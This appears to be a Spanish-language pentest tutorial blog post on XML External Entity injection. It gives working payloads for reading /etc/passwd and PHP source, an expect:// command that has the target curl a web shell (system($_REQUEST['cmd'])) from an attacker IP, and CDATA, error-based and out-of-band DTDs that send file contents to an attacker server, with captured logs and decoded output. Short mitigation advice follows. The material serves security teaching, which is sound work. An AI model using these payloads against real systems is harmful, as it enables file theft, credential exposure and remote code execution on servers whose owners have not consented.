Diciembre 8, 2024 13 minuto(s) estimado(s) de lectura

XML external entity (XXE)

Inyecciones

La inyección de XML External Entity (XXE) es una vulnerabilidad que se produce cuando una aplicación procesa datos XML proporcionados por el usuario sin aplicar las medidas de seguridad adecuadas, lo que permite que un atacante inserte y ejecute comandos maliciosos a través de las entidades externas de XML. Esta falla puede tener graves consecuencias, como la exposición de archivos confidenciales o incluso la desactivación del servidor back-end. Debido a su impacto, XXE se encuentra entre los principales riesgos de seguridad web identificados por OWASP.

XML, o Extensible Markup Language, es un lenguaje de marcado utilizado principalmente para el almacenamiento y transferencia flexible de datos y documentos en diversas aplicaciones. A diferencia de HTML, XML no está diseñado para la presentación de datos, sino para representar la estructura y el contenido de la información de manera organizada. Un documento XML está compuesto por un árbol de elementos, donde el primer elemento se denomina “root element” y los elementos subsecuentes se llaman “child elements”.

Por ejemplo, un documento XML simple podría verse así:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Recordatorio</heading>
  <body>Esto es una prueba!</body>
</note>

En este ejemplo:

<note> es el “root element”.
<to>, <from>, <heading>, y <body> son “child elements”.
Cada “tag” (<to>, </to>, etc.) encapsula datos específicos, formando pares de apertura y cierre que encierran los valores correspondientes.

Verificación de vulnerabilidad

Para verificar la vulnerabilidad “XML External Entity”, debemos crear una nueva entidad, por lo que agregamos un nuevo DTD (DOCTYPE) seguido del elemento (ENTITY). Finalmente realizamos el llamado ocupando la forma &test;.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY test "testing">
]><note>
  <to>Tove</to>
  <from>&test;</from>
  <heading>Recordatorio</heading>
  <body>Esto es una prueba!</body>
</note>

La petición enviada para este caso se vería en formato “URL encode”:

La vulnerabilidad es efectiva cuando en la respuesta vemos la palabra “testing”.

Local File Inclusion

Ahora que se ha verificado la vulnerabilidad podemos definir otras entidades que nos permitan leer archivos confidenciales. El proceso es bastante similar al que seguimos antes, con la diferencia de que esta vez utilizaremos la palabra clave SYSTEM para indicar que la entidad hace referencia a una ruta externa. La referencia externa se define inmediatamente después de esta palabra clave, como se muestra en el siguiente ejemplo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY test SYSTEM "file:///etc/passwd">
]><note>
  <to>Tove</to>
  <from>&test;</from>
  <heading>Recordatorio</heading>
  <body>Esto es una prueba!</body>
</note>

Al enviar esta solicitud modificada, estamos intentando ver si nuestra entidad XML externa puede capturar el contenido del archivo al que hace referencia:

Obtención de código fuente

Un beneficio adicional de la divulgación de archivos locales es la posibilidad de acceder al código fuente de la aplicación web. Esto nos abre la puerta a realizar una prueba de penetración Whitebox, donde podemos analizar el código en busca de vulnerabilidades adicionales o descubrir configuraciones sensibles, como contraseñas de bases de datos o claves API.

PHP ofrece filtros de contenedor que nos permiten codificar en base64 ciertos recursos, incluidos archivos, lo que garantiza que la salida codificada no rompa el formato XML. Para hacer esto, en lugar de utilizar file:// como referencia, empleamos el contenedor de PHP php://filter/. Este filtro nos permite especificar el codificador convert.base64-encode y luego añadir el recurso que queremos codificar, por ejemplo, resource=index.php, como se muestra a continuación:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php">
]>
<root>
  <name>
    test
  </name>
  <tel>
    123456789
  </tel>
  <email>
    &company;
  </email>
  <message>
    Hola Hola
  </message>
</root>

Podemos copiar la cadena base64 resultante, ir a la pestaña de Inspector de Burp (en el panel derecho), y allí se nos mostrará el archivo decodificado. Esta técnica nos permite revisar el código fuente para encontrar información sensible.

Posible ejecución remota de comandos

Además de acceder a archivos locales, también podríamos lograr la ejecución de código en el servidor remoto. Una manera sencilla sería buscar claves SSH o intentar robar hashes en aplicaciones web basadas en Windows, haciendo que la aplicación realice una llamada a nuestro servidor. Si esta técnica no resulta efectiva, aún podríamos intentar ejecutar comandos en aplicaciones web basadas en PHP utilizando el filtro php://expect, aunque esto requiere que el módulo PHP expect esté instalado y habilitado.

┌─[root@kali]─[/home/user/xxe]
└──╼ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php

┌─[root@kali]─[/home/user/xxe]
└──╼ python -m http.server 80           
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
  <!ENTITY test SYSTEM "expect://curl$IFS-O$IFS'10.1.1.7/shell.php'">
]><note>
  <to>Tove</to>
  <from>&test;</from>
  <heading>Recordatorio</heading>
  <body>Esto es una prueba!</body>
</note>

Reemplazamos todos los espacios en el código XML anterior con $IFS para evitar romper la sintaxis XML. Además, es importante evitar el uso de otros caracteres como |, >, y {, ya que pueden dañar el código.

Una vez que enviamos la solicitud, deberíamos recibir una petición en nuestra máquina para el archivo shell.php, lo que nos permitirá interactuar con el shell web en el servidor remoto para la ejecución de código.

Es importante notar que el módulo expect no está habilitado ni instalado por defecto en la mayoría de los servidores PHP modernos, por lo que este ataque podría no funcionar en todas las situaciones. Por esta razón, las vulnerabilidades XXE suelen ser explotadas para revelar archivos locales confidenciales y código fuente, lo cual puede exponer vulnerabilidades adicionales o formas de lograr la ejecución de código.

Exfiltración avanzada con CDATA

CDATA (Character Data) es una sección en un documento XML que indica al parser (analizador) que el contenido dentro de esta sección no debe ser interpretado como código XML, sino que debe ser tratado como texto plano. Esto significa que cualquier cosa dentro de una sección CDATA no será procesada como etiquetas o entidades XML, sino que se tomará literalmente.

Primero creamos un archivo llamado xxe.dtd. Un archivo DTD (Document Type Definition) que define las entidades que pueden ser utilizadas en un documento XML.

Entidad interna: Definida dentro del mismo documento XML o DTD.
Entidad externa: Hace referencia a un recurso externo, como un archivo en el servidor.

┌─[root@kali]─[/home/user/xxe]
└──╼ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

Aquí, la entidad joined se define como la concatenación de tres otras entidades (%begin;, %file;, y %end;). Estas entidades se utilizarán para encapsular el contenido del archivo dentro de una sección CDATA, que es un bloque de texto que no será interpretado como código XML.

%begin;: Define el inicio de una sección CDATA (<![CDATA[).
%file;: Hace referencia a un archivo específico en el servidor vulnerable (por ejemplo, file:///flag.php).
%end;: Cierra la sección CDATA (]]>).

Dejamos iniciado un servidor HTTP:

┌─[root@kali]─[/home/user/xxe]
└──╼ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora hacemos referencia a la entidad externa de la siguiente forma:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///flag.php"> 
  <!ENTITY % end "]]>"> 
  <!ENTITY % xxe SYSTEM "http://10.10.14.87/xxe.dtd">  
%xxe;
]>
<root>
<name>test</name>
<tel>123456789</tel>
<email>&joined;</email>
<message>Hola Hola</message>
</root>

%begin;, %file;, %end;: Estas entidades definen cómo se debe estructurar el contenido extraído del archivo flag.php.
- <![CDATA[: Inicia una sección CDATA.
- file:///flag.php: Intenta leer el contenido del archivo flag.php en el servidor.
- ]]>: Cierra la sección CDATA.
%xxe;: Esta entidad externa se refiere al archivo xxe.dtd alojado en el servidor del atacante. Cuando el servidor procesa esta entidad, carga el archivo DTD externo y aplica las entidades definidas allí.
&joined;: Es la entidad que se inserta en el campo <email>, que contiene el contenido del archivo flag.php envuelto en CDATA.

Finalmente el servidor sustituye la entidad &joined; por el contenido del archivo flag.php, protegido por las secciones CDATA.

XXE basado en errores

En algunos casos, durante un ataque XXE (XML External Entity), podemos encontrarnos con que la aplicación web no muestra directamente ningún resultado en la salida. Esto significa que, aunque logramos inyectar entidades XML maliciosas, no podemos ver el contenido que tratamos de extraer, lo que dificulta la explotación.

En estos casos, estaríamos “a ciegas” (blind), es decir, no podemos ver directamente el resultado del ataque en la respuesta de la aplicación. Esto hace que los métodos habituales para leer archivos sensibles, como inyectar entidades externas, no funcionen de manera efectiva.

Sin embargo, si la aplicación web muestra mensajes de error al procesar el XML (por ejemplo, errores de ejecución de PHP) y no maneja adecuadamente las excepciones de entrada XML, podemos aprovechar estos errores. En lugar de ver el contenido del archivo de forma directa, los mensajes de error podrían revelar fragmentos de información útil sobre el archivo o el sistema. En esencia, estaríamos utilizando los errores generados por la aplicación como un canal para obtener la información que normalmente no podríamos ver.

En esta situación generamos un error llamando una entidad no existente:

<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>test</name>
<tel>123456789</tel>
<email>&cualquiercosa;</email>
<message>Hola Hola</message>
</root>

Creamos un archivo DTD que define la entidad de parámetro file y luego la combinamos con una entidad inexistente. En nuestro ejercicio anterior, combinamos tres cadenas. En este caso, como la entidad %prueba; no existe, la aplicación web generaría un error señalando que esta entidad es desconocida. Lo interesante es que el error también incluiría nuestra entidad %file; como parte del mensaje, revelando así información que normalmente no sería accesible.

┌─[root@kali]─[/home/user/xxe]
└──╼ cat errorxxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%prueba;/%file;'>"> 

┌─[root@kali]─[/home/user/xxe]
└──╼ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  

Luego lo descargamos de la siguiente forma y en la respuesta recibiremos el contenido de /etc/hosts/:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://10.10.14.87/errorxxe.dtd">
  %remote;
  %error;
]>
<root>
<name>test</name>
<tel>123456789</tel>
<email>&cualquiercosa;</email>
<message>Hola Hola</message>
</root>

Exfiltración de datos Out-of-band (OOB)

Out-of-band (OOB) es una técnica utilizada en ataques XXE (XML External Entity) para exfiltrar datos a través de un canal indirecto. En lugar de recibir los datos directamente en la respuesta del servidor, el atacante configura un servidor externo para capturar los datos exfiltrados. Esto es útil cuando el servidor objetivo no devuelve la respuesta del archivo solicitado o está configurado para bloquear ciertos datos.

Creamos un archivo .dtd que contiene las instrucciones para exfiltrar datos codificados en Base64 desde el servidor objetivo. Aquí usamos php://filter para codificar el contenido en Base64 antes de enviarlo al servidor propio.

┌─[root@kali]─[/home/user/xxe]
└──╼ cat blindxxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://10.10.15.154/?content=%file;'>"> 

El payload XML utiliza una referencia al archivo .dtd que acabamos de crear. Esto asegura que se procesen las instrucciones para extraer y exfiltrar los datos.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://10.10.15.154/blindxxe.dtd">
  %remote;
  %oob;
]>
<root>
<name>test</name>
<tel>123456789</tel>
<email>&content;</email>
<message>Hola Hola</message>
</root>

Para capturar las solicitudes salientes desde el servidor objetivo, se inicia un servidor web en la máquina atacante. En este caso usaremos el de PHP. Posteriormente con BurpSuite enviamos el payload. Una vez procesado el XML, el servidor objetivo intentará acceder al archivo .dtd en tu servidor y exfiltrará los datos solicitados.

┌─[root@kali]─[/home/user/xxe]
└──╼ php -S 10.10.15.154:80  
[Sun Dec  8 02:19:12 2024] PHP 8.2.12 Development Server (http://10.10.15.154:80) started
[Sun Dec  8 02:19:26 2024] 10.129.26.12:34080 Accepted
[Sun Dec  8 02:19:26 2024] 10.129.26.12:34080 [200]: GET /blindxxe.dtd
[Sun Dec  8 02:19:26 2024] 10.129.26.12:34080 Closing
[Sun Dec  8 02:19:28 2024] 10.129.26.12:34084 Accepted
[Sun Dec  8 02:19:28 2024] 10.129.26.12:34084 [404]: GET /?content=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQp1c2JtdXg6eDoxMTE6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjExMjo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtY29yZWR1bXA6eDo5OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgp4eGU6eDoxMDAwOjEwMDA6eHhlOi9ob21lL3h4ZTovYmluL2Jhc2gKbHhkOng6OTk4OjEwMDo6L3Zhci9zbmFwL2x4ZC9jb21tb24vbHhkOi9iaW4vZmFsc2UK - No such file or directory
[Sun Dec  8 02:19:28 2024] 10.129.26.12:34084 Closing


┌─[root@kali]─[/home/user/xxe]
└──╼ echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQp1c2JtdXg6eDoxMTE6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjExMjo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtY29yZWR1bXA6eDo5OTk6OTk5OnN5c3RlbWQgQ29yZSBEdW1wZXI6LzovdXNyL3NiaW4vbm9sb2dpbgp4eGU6eDoxMDAwOjEwMDA6eHhlOi9ob21lL3h4ZTovYmluL2Jhc2gKbHhkOng6OTk4OjEwMDo6L3Zhci9zbmFwL2x4ZC9jb21tb24vbHhkOi9iaW4vZmFsc2UK' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
xxe:x:1000:1000:xxe:/home/xxe:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

El servidor objetivo enviará los datos codificados en Base64 al servidor atacante en el parámetro content. Puedes capturar y decodificar estos datos.

Recomendaciones

1. Actualización de bibliotecas y componentes

Utiliza siempre las versiones más recientes de bibliotecas XML, como libxml2, y evita componentes obsoletos.
Evita funciones descontinuadas como libxml_disable_entity_loader en PHP, ya que no ofrecen protección adecuada.
Asegúrate de que todos los procesadores que manejan XML (por ejemplo, SOAP, SVG, PDF) estén actualizados.
Revisa regularmente dependencias y componentes obsoletos en herramientas de desarrollo como npm o administradores de paquetes similares.

2. Configuración segura de XML

Deshabilitar características peligrosas:
- Referencias a entidades externas (External Entities).
- Definiciones de tipos personalizados (DTDs).
- Procesamiento de entidades parametrizadas.
- Compatibilidad con XInclude.
Evitar bucles de referencias a entidades: Protege el servidor contra ciclos infinitos en las referencias XML.
Manejo de excepciones: Configura un manejo de errores robusto y desactiva la visualización de errores en entornos de producción.